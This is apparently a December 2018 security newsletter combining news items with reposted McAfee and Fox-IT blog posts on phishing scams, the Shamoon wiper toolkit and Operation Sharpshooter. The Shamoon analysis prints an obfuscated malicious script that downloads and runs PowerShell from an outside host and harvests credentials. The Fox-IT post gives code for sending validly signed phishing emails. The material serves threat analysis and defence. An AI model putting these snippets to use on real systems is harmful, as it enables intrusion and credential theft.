Amongst the amazing and intriguing space exploration successes reported by NASA in December, the space agency announced its employee's personal data may had been compromised. Lets hope poor security doesn't jeopardise the great and highly expensive work NASA are undertaking.  
NASA InSight Lander arrives on Mars 

It wouldn't be normal for Facebook not to be in the headlines for poor privacy, this time Facebook announced a Photo API bug which exposed 6.8 million user images

Away from the political circus that is Brexit, the European Parliament put into a law a new Cybersecurity Act. Because of the Brexit making all the headlines, this new law may have gone under the radar, but it certainly worth keeping an eye on, even after UK leaves the EU. The EU Parliament has agreed to increase the budget for the ENISA (Network & InfoSec) agency, which will be rebranded as the "EU Agency for Cybersecurity". The Cybersecurity Act will establish an EU wide framework for cyber-security certifications for online services and customer devices to be used within the European Economic Area, and will include IoT devices and critical infrastructure technology. Knowing the EU's love of regulations, I suspect these new best practice framework and associated accreditations to be turned into regulations further down the line, which would impact any tech business operating in European Union.

The UK Parliament enacted the "The Health and Social Care (National Data Guardian) Act", which also went under the radar due to all the Brexit political noise. The act requires the appointment of a data guardian within England and Wales. The data guardian will publish guidance on the processing of health and adult social care data for use by public bodies providing health or social care services, and produce an annual report.

Chinese telecoms giant Huawei had plenty of negative media coverage throughout December, with UK government pressuring BT into not using Huawei kit within BT's new 5G network, due to a perceived threat to UK's future critical national infrastructure posed by the Chinese stated-backed tech giant.  The UK Defence Secretary Gavin Williamson said he had "very deep concerns" about Huawei being involved in new UK mobile network.
Security company Insinia cause controversy after it took over the Twitter accounts by Eamon Holmes, Louis Theroux and several others celebs. Insinia said it had managed the account takeover by analysing the way Twitter handles messages posted by phone, to inject messages onto the targeted accounts by analysing the way the social network interacted with smartphones when messages are sent. However, Insinia were accused of being unethical and breaking the UK Computer Misuse Act in some quarters.

Unsecured internet connected printers are being hacked again, this time they were used to sent print out messages of support for Swedish YouTube star PewDiePie. A hacker named TheHackerGiraffe was said to have targeted up 50,000 printers after using Shodan to search for open printer ports online, the scan was said to have found 800,000 vulnerable printers.

An Financial Conduct Authority (FCA) report warned UK banks about their over-reliance on third-party security providers. The FCA said companies "generally lacked board members with strong familiarity or specific technical cyber-expertise. External expertise may be helpful but may also, if overly relied on, undermine the effectiveness of the ‘three lines of defence’ model in identifying and managing cyber-risks in a timely way. The report also warned about supply-chain security, especially the role that firms play in other organisations’ supply chains.

NEWS

AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Cybercriminals Disguised as Apple Are After Users’ Personal Data: Insights on This Threat

With the holidays rapidly approaching, many consumers are receiving order confirmation emails updating them on their online purchases for friends and family. What they don’t expect to see is an email that appears to be a purchase confirmation from the Apple App Store containing a PDF attachment of a receipt for a $30 app. This is actually a stealthy phishing email, which has been circulating the internet, prompting users to click on a link if the transaction was unauthorized.

So how exactly does this phishing campaign work? In this case, the cybercriminals rely on the victim to be thrown off by the email stating that they purchased an app when they know that they didn’t. When the user clicks on the link in the receipt stating that the transaction was unauthorized, they are redirected to a page that looks almost identical to Apple’s legitimate Apple Account management portal. The user is prompted to enter their login credentials, only to receive a message claiming that their account has been locked for security reasons. If the user attempts to unlock their account, they are directed to a page prompting them to fill out personal details including their name, date of birth, and social security number for “account verification.”

Once the victim enters their personal and financial information, they are directed to a temporary page stating that they have been logged out to restore access to their account. The user is then directed to the legitimate Apple ID account management site, stating “this session was timed out for your security,” which only helps this attack seem extra convincing. The victim is led to believe that this process was completely normal, while the cybercriminals now have enough information to perform complete identity theft.

Although this attack does have some sneaky behaviors, there are a number of steps users can take to protect themselves from phishing scams like this one:

  • Be wary of suspicious emails. If you receive an email from an unknown source or notice that the “from” address itself seems peculiar, avoid interacting with the message altogether.
  • Go directly to the source. Be skeptical of emails claiming to be from companies asking to confirm a purchase that you don’t recognize. Instead of clicking on a link within the email, it’s best to go straight to the company’s website to check the status of your account or contact customer service.
  • Use a comprehensive security solution. It can be difficult to determine if a website, link, or file is risky or contains malicious content. Add an extra layer of security with a product like McAfee Total Protection.

And, of course, to stay on top of the latest consumer and mobile security threats, be sure to follow me and @McAfee_Home on Twitter, listen to our podcast Hackable? and ‘Like’ us on Facebook.

The post Cybercriminals Disguised as Apple Are After Users’ Personal Data: Insights on This Threat appeared first on McAfee Blogs.

Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Directories “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

Your trust, our signature

Written and researched by Mark Bregman and Rindert Kramer

Sending signed phishing emails

Every organisation, whatever its size, will encounter phishing emails sooner or later. While the number of phishing attacks is increasing every day, the way in which phishing is used within a cyber-attack has not changed: an attacker comes up with a scenario which looks credible enough to persuade the target to perform a certain action like opening an attachment or clicking on a link in the email. To avoid such attacks the IT or security team will tell users to check for certain things to avoid falling for these phishing emails. One of the recommendations is to check if the email is digitally signed with a valid certificate. However, in this blog, we present an attack that abuses this recommendation to regain the recipient’s trust in the sender.

Traditional phishing

Countless organizations have fallen victim to traditional phishing attacks where the attacker tries to obtain credentials or to infect a computer within the target network. Phishing is a safe way to obtain such footholds for an attacker. The attacker can just send the emails, sit back and wait for the targets to start clicking.

At Fox-IT we receive lots of requests to run simulated phishing attacks; so our team sends out hundreds of thousands of carefully crafted emails every year to clients to simulate phishing campaigns. Whether it’s a blanket campaign against the entire staff or a spear phishing one against targeted individuals, the big issue with phishing stays the same; we need to persuade one person to follow our instructions. We are looking for the weakest link. Sometimes that is easy, sometimes not so much. But an attacker has all the time in the world. If there is no success today, then maybe tomorrow, or the day after…
To create security awareness among employees, IT or the security team will tell their users to take a close look at a wide variety of things upon receiving emails. Some say you have to check for spelling mistakes, others say you have to be careful when you receive an email that tries to force you to do something (“Change your password immediately, or you will lose your files”), or when something is promised (“Please fill in this survey and enter the raffle to win a new iPhone”).

SPF records

Some will tell their users to check the domain that sent the email. But others might argue that anyone can send an email from an arbitrary domain; what’s known as ‘email spoofing’.

Wikipedia defines this as:

Email spoofing is the creation of email messages with a forged sender address. Because the core email protocols do not have any mechanism for authentication, it is common for spam and phishing emails to use such spoofing to mislead the recipient about the origin of the message.

— Wikipedia https://en.wikipedia.org/wiki/Email_spoofing

This means that an email originating from the domain “ fox-it.com ”, may not have been sent by an employee of Fox-IT. This can be mitigated by implementing Sender Policy Framework (SPF) records. In an SPF record you specify which email servers are allowed to send emails on behalf of your domain. If an email originating from the domain “ fox-it.com ” was not sent by the email server specified in the SPF record, the email message can be flagged as SPAM. By using SPF records you know that the email was sent by an authorized email server, SPF records however, do not disclose the authenticity of the sender. If a company has configured their SMTP server as an open relay server, users can send mail on another user’s behalf which will pass the SPF record check on the receivers end. There are other measures that can be used to identify legitimate mail servers to reduce phishing attacks, such as DKIM and DMARC, however, these are beyond the scope of this blogpost.

What is a digital signature?

To tackle the problem of email spoofing some organizations sign their emails with a digital signature. This can be added to an email to give the recipient the ability to validate the sender as well as the integrity of the email message.
For now we’ll focus on the aspect of validating the sender rather than the message integrity aspect. When the email client receives a signed email, it will check the attached certificate to see who the subject of the certificate is (i.e.: “john.doe@fox-it.com “). The client will check if this matches the originating email-address. To verify the authenticity of the digital signature, the email client will also check if the certificate is issued (signed) by a reputable Certificate Authority (CA). If the certificate is signed by a trusted Certificate Authority, the receiving email client will tell the recipient that the email is signed using a valid certificate. Most email clients will in this case show a green checkmark or a red rosette, like the one in the image below.

6oQvhoK

By default there is a set of trusted Certificate Authorities in the Windows certificate store. With digital certificates, everything is based on trusting those third parties, the Certificate Authorities. So we trust that the Certificate Authorities in our Windows certificate store give out certificates only after verifying that the certificate subject (i.e.: “john@fox-it.com “) is who they say they are. If we receive a signed email with a certificate which is verified by one of the Certificate Authorities we trust, our systems will tell us that the origin of the email is trusted and validated.
Obviously the opposite is also true. If you receive a signed email and the attached certificate is not signed by a Certificate Authority which is in the Windows certificate store, then the signature will be considered invalid. It is possible to attach a self-signed certificate to an email; in which case the email will be signed, but the receiving email client won’t be able to validate the authenticity of the received certificate and therefore will show a warning message to the recipient.

OxmuNkt

Common misconception regarding email signing

Some IT teams are pushing email signing as the Holy Grail to avoid being caught by a phishing email, because it verifies the sender. And if the sender is verified, we have nothing to worry about.

Unfortunately, the green checkmark or the red rosette which accompanies a validated email signature seems to stimulate the same behavior as we’ve seen with the green padlock accompanying HTTPS websites. Users see the green padlock in their browser and think that the website is absolutely safe. Similarly, they see the green checkmark or the red rosette and make the assumption that everything is safe: it’s a signed email with a valid certificate, the sender is verified, which means everything must be OK and that the email can’t be a phishing attack.

This may be true, if alice@fox-it.com sends you a signed email with a valid certificate: the sender really is Alice from Fox-IT, provided that the private key of the certificate is not compromised. But, if alice@fox-it.cm (notice the ‘.cm’ instead of ‘.com’) sends you a signed email with a valid certificate, that person can still be anyone. As long as that person has control over the domain ‘fox-it.cm’, they will be able to send signed emails from that domain. Because many users are told that the green checkmark or the red rosette protects against phishing, they may be caught off guard if they receive an email containing a valid certificate.

Sending signed phishing emails

At Fox-IT we’re always trying to innovate, meaning in this case that we’re looking for ways to make the phishing emails in our simulations more appealing to our client’s employees. Adding a valid certificate makes them look genuine and creates a sense of trust. So when running phishing simulations we use virtual private servers to do the job. For each simulation we setup a fresh server with the required configuration in order to deliver the best possible phishing email. To send out the emails, we’ve developed a Python script into which we can feed a template, some variables and a target list. Recently we’ve updated the script to include the ability to sign our phishing emails. This results in very convincing phishing emails. For example, in Microsoft Office Outlook one of our phishing emails would look like this:

8A9oUnj

This is not limited to Office Outlook only, it is working in other mail clients as well, such as Lotus Notes. Although Lotus Notes doesn’t have a red rosette to show the user that an email is digitally signed, there are some indicators which are present when reading a signed email. As you can see below, the digital signature does still add to the legitimate look of the phishing emails:

5floNBj

Going the extra mile

The user has now received a phishing mail that was signed with a legitimate certificate. To make it look even more genuine, we can mention the certificate in the phishing mail. Since the Dutch government has a webpage1 with information about the use of electronic signatures in email, we can write a paragraph that looks something like the the one in the image below.

gov

Sign the email

The following (Python) code snippet shows the main signing functionality:

# Import the necessary classes from M2Crypto library
from M2Crypto import bio, rand, smime

# Make a MemoryBuffer of the message.
buf = makebuf(msg_str)

# Seed the PRNG.
Rand.load_file('randpool.dat', -1)

# Instantiate an SMIME object; set it up; sign the buffer.
s = SMIME.SMIME()
s.load_key('key.pem', 'cert.pem')
p7 = s.sign(buf, SMIME.PKCS7_DETACHED)

# Recreate buf.
buf = makebuf(msg_str)

# Output p7 in mail-friendly format.
out = BIO.MemoryBuffer()
out.write('From: %s\n' % sender)
out.write('To: %s\n' % target)
out.write('Subject: %s\n' % subject)

s.write(out, p7, buf)
msg = out.read()

# Save the PRNG's state.
Rand.save_file('randpool.dat')

This code originates from the Python M2Crypto documentation2

For the above code to work, the following files must be in the same directory as the Python script:
* The public certificate saved as cert.pem
* The private key saved as key.pem

There are many Certificate Authorities that allow you to obtain a certificate online. Some even allow you to request a certificate for your email address for free. A quick google query for “free email certificate” should give you enough results to start requesting your own certificate. If you have access to an inbox you’re good to go.
To get an idea of how the above code snippet can be included in a standalone script, we’d like to refer to Fox-IT’s Github page where we’ve uploaded an example script which takes the most basic email parameters (‘from’, ‘to’, ‘subject’ and ‘body’). Don’t forget to place the required certificate and corresponding key file in the same directory with the Python script if you start playing around with the example script. Link to project on GitHub: https://github.com/fox-it/signed-phishing-email

Mitigation

There are some mitigations that can make this type of attack harder to perform for an attacker. We’d like to give you some tips to help protect your organisation.

Prevent domain squatting

The first mitigation is to register domains that look like your own domain. An attacker that sends a phishing mail from a domain name that is similar to your own domain name can trick users into executing malware or giving away their credentials more easily. This type of attack is called domain squatting, which can result in examples like fox-it.cm instead of fox-it.com . There are generators that can help you with that, such as: https://github.com/elceef/dnstwist

Restrict Enhanced Key Usages

Another mitigation has a more technical approach. For that we need to look into how certificates are used. Let’s say we have an internal Public Key Infrastructure (PKI) with the following components:
* Root CA
* Subordinate CA

The root CA is an important server in an organisation for maintaining integrity and secrecy. All non-public certificates will stem from this server. Most organizations choose to completely isolate their root CA for that reason and use another server, the subordinate CA, to sign certificate requests; The subordinate CA will sign certificates on behalf of the root CA.
In Windows, the certificate of the root CA is stored in the Trusted Root Certification Authorities store, while the certificate of the subordinate CA is stored in the Intermediate Certification Authorities store.

Certificates can be used in many scenarios, for example:
* If you want to encrypt files, you can use Encrypted File System (EFS) in Windows. EFS uses a certificate to protect your data from prying eyes.
* If you have a web server, you can use a certificate to establish a secure connection with a client so that all data is transferred securely.
* Stating the obvious: if you want to send email in a secure way, you can also use a certificate to achieve that

Not every certificate can sign code, encrypt files or send email securely. Certificates have a property, the Enhanced Key Usage (EKU), that states the intended purpose of a certificate. The intended purpose can be one of the actions mentioned above, or a wildcard. A certificate with only an EKU for code signing cannot be used to send email in a secure manner.

By disabling the “Secure Email” EKU from all certification authorities, except from our own root and subordinate CA, phishing mail that is signed with a valid certificate signed by a third party CA, will still trigger a warning stating that the certificate is invalid.
To do that, we must first discover all certificates that support the secure email EKU. This can be done with the following PowerShell one-liner:

# Select all certificates where the EnhancedKeyUsage is empty (Intended Purpose -eq All)
# or where EnhancedKeyUsage contains Secure Email
Get-ChildItem -Path 'Cert:\' -Recurse | Where-Object {$_.GetType().Name -eq 'X509Certificate2' -and ({$_.EnhancedKeyUsageList.Count -eq 0} -or $_.EnhancedKeyUsageList.FriendlyName -contains 'Secure Email')} | Select-Object PSParentPath, Subject

We now know which certificates support the secure email EKU. In order to disable to secure email EKU we have to do some manual labour. It is recommended to apply the following in a base image, group policy or certificate template.

  1. Run mmc with administrative privileges
  2. Go to File, Add or Remove Snap-ins, select Certificates
    B8TQT4f
  3. Select My user account, followed by OK. Please note that this mitigation requires that certificates in all certificates stores must be edited.
    CpRQtRz

    1. Check if intended purpose states Secure email or All
      175MRhH
  4. Open the properties of a certificate and click the details tab

If the intended purpose at step 3.1 stated All,
1. Click Key Usage, followed by Edit Properties.
iFPwV2x
2. Click Enable only the following purposes and uncheck the Secure Email checkbox
8nhvj29

If the intended purpose at step 3a stated Secure Email,
1. Click Enhanded key usage (property)
EHH4vBz
2. Click Edit Properties…
3. Uncheck the Secure Email checkbox
8nhvj29

Please keep the following in mind when implementing these mitigations:
* When a legitimate mail has been signed with with a certificate issues by a CA that of which the Secure Email EKU has been removed, the certificate of the email will not be trusted by Windows
* Changing the EKU may have an impact on the working of your systems
* These settings can be reverted with every update in Windows
* New or renewed certificates can have the Secure email EKU as well

This means that in order to only allow your own PKI server to have the Secure Email EKU enabled you must periodically check for certificates that have this EKU configured.

Human factor

With techniques like the one described in this blog post it becomes more and more obvious that users will never be able to withstand social engineering attacks. In a best case scenario, users will detect and report an attack, in a worst case scenario your users will become victim. It is important to perform awareness exercises and educate users, but we should accept that a percentage of the user base could always become a victim. This means that we (organizations) need to start thinking about new and more user friendly strategies in combating these type of attacks.

To summerize this blogpost:
* An email coming from a domain does not prove the integrity of the sender
* An email that is signed with a trusted and legitimate certificate does not mean that the email can be trusted
* If the domain of the sender address is correct and the email has been signed with a valid certificate signed by a trusted CA, only then the email can be trusted.

References

1: https://www.rijksoverheid.nl/onderwerpen/digitale-overheid/vraag-en-antwoord/wat-is-een-elektronische-handtekening (Dutch)
2: https://m2crypto.readthedocs.io/en/latest/howto.smime.html#m2crypto-smime “M2Crypto S/MIME”

How to Stay Secure from the Latest Volkswagen Giveaway Scam

You’re scrolling through Facebook and receive a message notification. You open it and see it’s from Volkswagen, claiming that the company will be giving away 20 free vehicles before the end of the year. If you think you’re about to win a new car, think again. This is likely a fake Volkswagen phishing scam, which has been circulating social media channels like WhatsApp and Facebook, enticing hopeful users looking to acquire a new ride.

This fake Volkswagen campaign works differently than your typical phishing scam. The targeted user receives the message via WhatsApp or Facebook and is prompted to click on the link to participate in the contest. But instead of attempting to collect personal or financial information, the link simply redirects the victim to what appears to be a standard campaign site in Portuguese. When the victim clicks the buttons on the website, they are redirected to a third-party advertising site asking them to share the contest link with 20 of their friends. The scam authors, under the guise of being associated with Volkswagen, promise to contact the victims via Facebook once this task is completed.

As of now, we haven’t seen indicators that participants have been infected by malicious software or had any personal information stolen as a result of this scam. But because the campaign link redirects users to ad servers, the scam authors are able to maximize revenue for the advertising network. This encourages malicious third-party advertisers to continue these schemes in order to make a profit.

The holidays in particular are a convenient time for cybercriminals to create more scams like this one, as users look to social media for online shopping inspiration. Because schemes such as this could potentially be profitable for cybercriminals, it is unlikely that phishing scams spread via social media will let up. Luckily, we’ve outlined the following tips to help dodge fake online giveaways:

  • Avoid interacting with suspicious messages. If you receive a message from a company asking you to enter a contest or share a certain link, it is safe to assume that the sender is not from the actual company. Err on the side of caution and don’t respond to the message. If you want to see if a company is actually having a sale, it is best to just go directly to their official site to get more information.
  • Be careful what you click on. If you receive a message in an unfamiliar language, one that contains typos, or one that makes claims that seem too good to be true, avoid clicking on any attached links.
  • Stay secure while you browse online. Security solutions like McAfee WebAdvisor can help safeguard you from malware and warn you of phishing attempts so you can connect with confidence.

And, of course, stay on top of the latest consumer and mobile security threats by following me and @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post How to Stay Secure from the Latest Volkswagen Giveaway Scam appeared first on McAfee Blogs.

‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure

This post was written with contributions from the McAfee Advanced Threat Research team.  

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries.

Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

Read our full analysis of Operation Sharpshooter.

Have we seen this before?

This campaign, while masquerading as legitimate industry job recruitment activity, gathers information to monitor for potential exploitation. Our analysis also indicates similar techniques associated with other job recruitment campaigns.

Global impact

In October and November 2018, the Rising Sun implant has appeared in 87 organizations across the globe, predominantly in the United States, based on McAfee telemetry and our analysis. Based on other campaigns with similar behavior, most of the targeted organizations are English speaking or have an English-speaking regional office. This actor has used recruiting as a lure to collect information about targeted individuals of interest or organizations that manage data related to the industries of interest. The McAfee Advanced Threat Research team has observed that the majority of targets were defense and government-related organizations.

Targeted organizations by sector in October 2018. Colors indicate the most prominently affected sector in each country. Source: McAfee® Global Threat Intelligence.

Infection flow of the Rising Sun implant, which eventually sends data to the attacker’s control servers.

 

Conclusion

Our discovery of this new, high-function implant is another example of how targeted attacks attempt to gain intelligence. The malware moves in several steps. The initial attack vector is a document that contains a weaponized macro to download the next stage, which runs in memory and gathers intelligence. The victim’s data is sent to a control server for monitoring by the actors, who then determine the next steps.

We have not previously observed this implant. Based on our telemetry, we discovered that multiple victims from different industry sectors around the world have reported these indicators.

Was this attack just a first-stage reconnaissance operation, or will there be more? We will continue to monitor this campaign and will report further when we or others in the security industry receive more information. The McAfee Advanced Threat Research team encourages our peers to share their insights and attribution of who is responsible for Operation Sharpshooter.

 

Indicators of compromise

MITRE ATT&CK™ techniques

  • Account discovery
  • File and directory discovery
  • Process discovery
  • System network configuration discovery
  • System information discovery
  • System network connections discovery
  • System time discovery
  • Automated exfiltration
  • Data encrypted
  • Exfiltration over command and control channel
  • Commonly used port
  • Process injection

Hashes

  • 8106a30bd35526bded384627d8eebce15da35d17
  • 66776c50bcc79bbcecdbe99960e6ee39c8a31181
  • 668b0df94c6d12ae86711ce24ce79dbe0ee2d463
  • 9b0f22e129c73ce4c21be4122182f6dcbc351c95
  • 31e79093d452426247a56ca0eff860b0ecc86009

Control servers

  • 34.214.99.20/view_style.php
  • 137.74.41.56/board.php
  • kingkoil.com.sg/board.php

Document URLs

  • hxxp://208.117.44.112/document/Strategic Planning Manager.doc
  • hxxp://208.117.44.112/document/Business Intelligence Administrator.doc
  • hxxp://www.dropbox.com/s/2shp23ogs113hnd/Customer Service Representative.doc?dl=1

McAfee detection

  • RDN/Generic Downloader.x
  • Rising-Sun
  • Rising-Sun-DOC

 

The post ‘Operation Sharpshooter’ Targets Global Defense, Critical Infrastructure appeared first on McAfee Blogs.

The Spotify Phishing Scam: How to Reel in This Cyberthreat

Many music-lovers around the world use Spotify to stream all of their favorite tunes. While the music streaming platform is a convenient tool for users to download and listen to their music, hackers are capitalizing on the company’s popularity with a recent phishing campaign. The campaign lures users into giving up their account details, putting innocent Spotify customers’ credentials at risk.

So, how are the account hijackers conducting these phishing attacks? The campaign sends listeners fraudulent emails that appear to be from Spotify, prompting them to confirm their account details. However, the link contained in the email is actually a phishing link. When the user clicks on it, they are redirected to a phony Spotify website where they are prompted to enter their username and password for the hacker’s disposal.

This phishing campaign can lead to a variety of other security risks for victims exposed to the threat. For example, many users include their birthday or other personal information in their password to make it easier to remember. If a hacker gains access to a user’s Spotify password, they are given a glance into the victim’s password creation mindset, which could help them breach other accounts belonging to the user.

Fortunately, there are multiple steps users can take to avoid the Spotify phishing campaign and threats like it. Check out the following tips:

  • Create complex passwords. If a hacker gains access to a victim’s username and password, they will probably analyze these credentials to determine how the victim creates their passwords. It’s best to create passwords that don’t include personal information, such as your birthday or the name of your pet.
  • Avoid reusing passwords. If victims reuse the same password for multiple accounts, this attack could allow cybercriminals to breach additional services and platforms. To prevent hackers from accessing other accounts, create unique usernames and passwords for each online platform you use.
